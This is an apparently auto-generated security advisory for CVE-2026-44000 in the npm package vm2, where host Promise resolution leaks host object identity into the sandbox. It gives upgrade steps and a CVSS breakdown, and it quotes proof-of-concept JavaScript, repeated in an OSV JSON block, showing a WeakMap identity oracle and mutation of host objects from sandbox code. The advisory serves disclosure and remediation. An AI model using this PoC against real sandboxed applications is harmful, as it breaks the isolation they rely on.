CVE-2026-44000: Vm2 Vm2 Host Promise Resolution Preserves Vulnerability

MODERATE
Advisory Identifier: GHSA-mpf8-4hx2-7cjg
CVSS 6.5
CWE-668 CWE-693
Published
Advisory Summary

CVE-2026-44000 is a MODERATE (CVSS 6.5) vm2 host promise resolution preserves vulnerability (CWE-668: Exposure of Resource to Wrong Sphere) affecting Vm2 libraries in the npm ecosystem. The issue involves vm2 host promise resolution preserves object identity across sandbox boundary. Remediation is available by upgrading affected packages to version 3.11.0.

CVE-2026-44000 at a Glance

CVE Identifier CVE-2026-44000
GHSA Identifier GHSA-mpf8-4hx2-7cjg
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-668: Exposure of Resource to Wrong Sphere
Affected Product Vm2
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-44000

To remediate this vulnerability, upgrade all affected Vm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vm2 fixed: 3.11.0
npm install vm2@3.11.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls vm2

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-44000, inspect your project dependencies using npm:

npm ls vm2

Analyze the terminal output to locate any version of Vm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.11.0), your application is affected.

Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-668: Exposure of Resource to Wrong Sphere, where the product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource. In Vm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A sandbox boundary violation in **vm2** allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox `.then()` callback preserves host identity. This allows the sandbox to interact with the host object directly, including: - Performing identity checks using host-side `WeakMap` - Mutating host object state from inside the sandbox This behavior occurs because the Promise fulfillment wrapper uses `ensureThis()` instead of the stronger cross-realm conversion path (`from()` / proxy wrapping). If no prototype mapping is found, `ensureThis()` returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. --- ### Details In `setup-sandbox.js`, vm2 wraps `Promise.prototype.then`: ```js globalPromise.prototype.then = function then(onFulfilled, onRejected) { resetPromiseSpecies(this); if (typeof onFulfilled === 'function') { const origOnFulfilled = onFulfilled; onFulfilled = function onFulfilled(value) { value = ensureThis(value); return apply(origOnFulfilled, this, [value]); }; } return apply(globalPromiseThen, this, [onFulfilled, onRejected]); }; The wrapper calls ensureThis(value) before invoking the sandbox callback. However, ensureThis is implemented in bridge.js as thisEnsureThis(): function thisEnsureThis(other) { const type = typeof other; switch (type) { case 'object': if (other === null) return null; case 'function': let proto = thisReflectGetPrototypeOf(other); if (!proto) { return other; } while (proto) { const mapping = thisReflectApply(thisMapGet, protoMappings, [proto]); if (mapping) { const mapped = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [other]); if (mapped) return mapped; return mapping(defaultFactory, other); } proto = thisReflectGetPrototypeOf(proto); } return other; If no prototype mapping is found, ensureThis() simply returns the original object: return other; This means the sandbox receives the original host object instead of a proxied or sanitized representation. Because of this behavior, values resolved by host Promises can cross the host–sandbox boundary with identity preserved. PoC The following Proof of Concept demonstrates that an object resolved by a host Promise can be used as a valid key in a host-side WeakMap from inside the sandbox. WeakMap keys rely on reference identity, so a successful lookup proves that the sandbox received the host object identity. PoC Code import {VM} from "./index.js"; const hostObj = {tag: "HOST_OBJ"}; const hostPromise = Promise.resolve(hostObj); // WeakMap created on the host const wm = new WeakMap([[hostObj, "HIT"]]); const vm = new VM({ sandbox: {hostPromise, wm}, timeout: 1000, eval: false, wasm: false, }); const code = ` hostPromise.then(v => ({ weakMapGet: wm.get(v), typeofV: typeof v, tag: v.tag })) `; const result = await vm.run(code); console.log("VM RESULT:", result); console.log("HOST SAME KEY STILL:", wm.get(hostObj)); Output VM RESULT: { weakMapGet: 'HIT', typeofV: 'object', tag: 'HOST_OBJ' } HOST SAME KEY STILL: HIT This confirms that the object delivered to the sandbox callback retains host identity. Additional Demonstration: Host Object Mutation The sandbox can also mutate host object state through the resolved Promise value. import {VM} from "./index.js"; const hostObj = {tag: "HOST_OBJ", nested: {x: 1}}; const hostPromise = Promise.resolve(hostObj); const vm = new VM({ sandbox: {hostPromise}, timeout: 1000, eval: false, wasm: false, }); const code = ` hostPromise.then(v => { v.nested.x = 999; v.tag = "MUTATED"; return { seenTag: v.tag, seenX: v.nested.x }; }) `; const result = await vm.run(code); console.log("VM RESULT:", result); console.log("HOST AFTER:", hostObj); **Output:** VM RESULT: { seenTag: 'MUTATED', seenX: 999 } HOST AFTER: { tag: 'MUTATED', nested: { x: 999 } } This demonstrates write-through mutation of a host object from sandbox code. **Impact** This vulnerability allows host object references to cross the vm2 sandbox boundary via Promise resolution. Consequences include: Host object identity disclosure Write-through mutation of host objects WeakMap / WeakSet identity oracle across the boundary Potential capability leaks if sensitive host objects are reachable via Promises Applications that expose host Promises to sandboxed code may unintentionally grant the sandbox direct access to host objects. This weakens the intended isolation guarantees of vm2.

CVE-2026-44000 Affected Vm2 Versions

1 component(s)
Fixed Versions:
3.11.0
Product / Package Ecosystem Affected Versions Fixed Version
vm2
npm
< 3.11.0
3.11.0

References

Frequently Asked Questions

What is CVE-2026-44000?
CVE-2026-44000 is a security vulnerability in Vm2 involving vm2 Host Promise Resolution Preserves Object Identity Across Sandbox Boundary under CWE-668: Exposure of Resource to Wrong Sphere.
Which Vm2 versions are affected?
Affected versions include releases prior to 3.11.0 across affected packages: vm2.
What version fixes CVE-2026-44000?
Upgrading to 3.11.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is vm2 affected?
Yes, vm2 is affected in releases prior to 3.11.0. Upgrade your dependency to 3.11.0 or later.
What is the CVSS score of CVE-2026-44000?
CVE-2026-44000 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2026-44000?
CVE-2026-44000 is classified under CWE-668: Exposure of Resource to Wrong Sphere (The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.).
How can I check npm dependencies for CVE-2026-44000?
Run the dependency tree command: 'npm ls vm2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mpf8-4hx2-7cjg",
  "modified" : "2026-05-14T20:36:48Z",
  "published" : "2026-05-07T04:29:22Z",
  "aliases" : [ "CVE-2026-44000" ],
  "summary" : "vm2 Host Promise Resolution Preserves Object Identity Across Sandbox Boundary",
  "details" : "### Summary\n\nA sandbox boundary violation in **vm2** allows host object identity to cross into the sandbox through host Promise resolution.\n\nWhen a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox `.then()` callback preserves host identity. This allows the sandbox to interact with the host object directly, including:\n\n- Performing identity checks using host-side `WeakMap`\n- Mutating host object state from inside the sandbox\n\nThis behavior occurs because the Promise fulfillment wrapper uses `ensureThis()` instead of the stronger cross-realm conversion path (`from()` / proxy wrapping). If no prototype mapping is found, `ensureThis()` returns the original object.\n\nAs a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation.\n\n---\n\n### Details\n\nIn `setup-sandbox.js`, vm2 wraps `Promise.prototype.then`:\n\n```js\nglobalPromise.prototype.then = function then(onFulfilled, onRejected) {\n  resetPromiseSpecies(this);\n\n  if (typeof onFulfilled === 'function') {\n    const origOnFulfilled = onFulfilled;\n    onFulfilled = function onFulfilled(value) {\n      value = ensureThis(value);\n      return apply(origOnFulfilled, this, [value]);\n    };\n  }\n\n  return apply(globalPromiseThen, this, [onFulfilled, onRejected]);\n};\n\n\nThe wrapper calls ensureThis(value) before invoking the sandbox callback.\n\nHowever, ensureThis is implemented in bridge.js as thisEnsureThis():\n\nfunction thisEnsureThis(other) {\n  const type = typeof other;\n\n  switch (type) {\n    case 'object':\n      if (other === null) return null;\n\n    case 'function':\n      let proto = thisReflectGetPrototypeOf(other);\n\n      if (!proto) {\n        return other;\n      }\n\n      while (proto) {\n        const mapping = thisReflectApply(thisMapGet, protoMappings, [proto]);\n\n        if (mapping) {\n          const mapped = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [other]);\n          if (mapped) return mapped;\n          return mapping(defaultFactory, other);\n        }\n\n        proto = thisReflectGetPrototypeOf(proto);\n      }\n\n      return other;\n\nIf no prototype mapping is found, ensureThis() simply returns the original object:\n\nreturn other;\n\nThis means the sandbox receives the original host object instead of a proxied or sanitized representation.\n\nBecause of this behavior, values resolved by host Promises can cross the host–sandbox boundary with identity preserved.\n\nPoC\n\nThe following Proof of Concept demonstrates that an object resolved by a host Promise can be used as a valid key in a host-side WeakMap from inside the sandbox.\n\nWeakMap keys rely on reference identity, so a successful lookup proves that the sandbox received the host object identity.\n\nPoC Code\nimport {VM} from \"./index.js\";\n\nconst hostObj = {tag: \"HOST_OBJ\"};\nconst hostPromise = Promise.resolve(hostObj);\n\n// WeakMap created on the host\nconst wm = new WeakMap([[hostObj, \"HIT\"]]);\n\nconst vm = new VM({\n  sandbox: {hostPromise, wm},\n  timeout: 1000,\n  eval: false,\n  wasm: false,\n});\n\nconst code = `\n  hostPromise.then(v => ({\n    weakMapGet: wm.get(v),\n    typeofV: typeof v,\n    tag: v.tag\n  }))\n`;\n\nconst result = await vm.run(code);\n\nconsole.log(\"VM RESULT:\", result);\nconsole.log(\"HOST SAME KEY STILL:\", wm.get(hostObj));\nOutput\nVM RESULT: { weakMapGet: 'HIT', typeofV: 'object', tag: 'HOST_OBJ' }\nHOST SAME KEY STILL: HIT\n\nThis confirms that the object delivered to the sandbox callback retains host identity.\n\nAdditional Demonstration: Host Object Mutation\n\nThe sandbox can also mutate host object state through the resolved Promise value.\n\nimport {VM} from \"./index.js\";\n\nconst hostObj = {tag: \"HOST_OBJ\", nested: {x: 1}};\nconst hostPromise = Promise.resolve(hostObj);\n\nconst vm = new VM({\n  sandbox: {hostPromise},\n  timeout: 1000,\n  eval: false,\n  wasm: false,\n});\n\nconst code = `\n  hostPromise.then(v => {\n    v.nested.x = 999;\n    v.tag = \"MUTATED\";\n    return { seenTag: v.tag, seenX: v.nested.x };\n  })\n`;\n\nconst result = await vm.run(code);\n\nconsole.log(\"VM RESULT:\", result);\nconsole.log(\"HOST AFTER:\", hostObj);\n\n**Output:**\nVM RESULT: { seenTag: 'MUTATED', seenX: 999 }\nHOST AFTER: { tag: 'MUTATED', nested: { x: 999 } }\n\nThis demonstrates write-through mutation of a host object from sandbox code.\n\n**Impact**\nThis vulnerability allows host object references to cross the vm2 sandbox boundary via Promise resolution.\n\nConsequences include:\n\nHost object identity disclosure\n\nWrite-through mutation of host objects\n\nWeakMap / WeakSet identity oracle across the boundary\n\nPotential capability leaks if sensitive host objects are reachable via Promises\n\nApplications that expose host Promises to sandboxed code may unintentionally grant the sandbox direct access to host objects.\n\nThis weakens the intended isolation guarantees of vm2.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.11.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.10.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-mpf8-4hx2-7cjg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44000"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patriksimek/vm2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-668", "CWE-693" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-07T04:29:22Z",
    "nvd_published_at" : "2026-05-13T18:16:16Z"
  }
}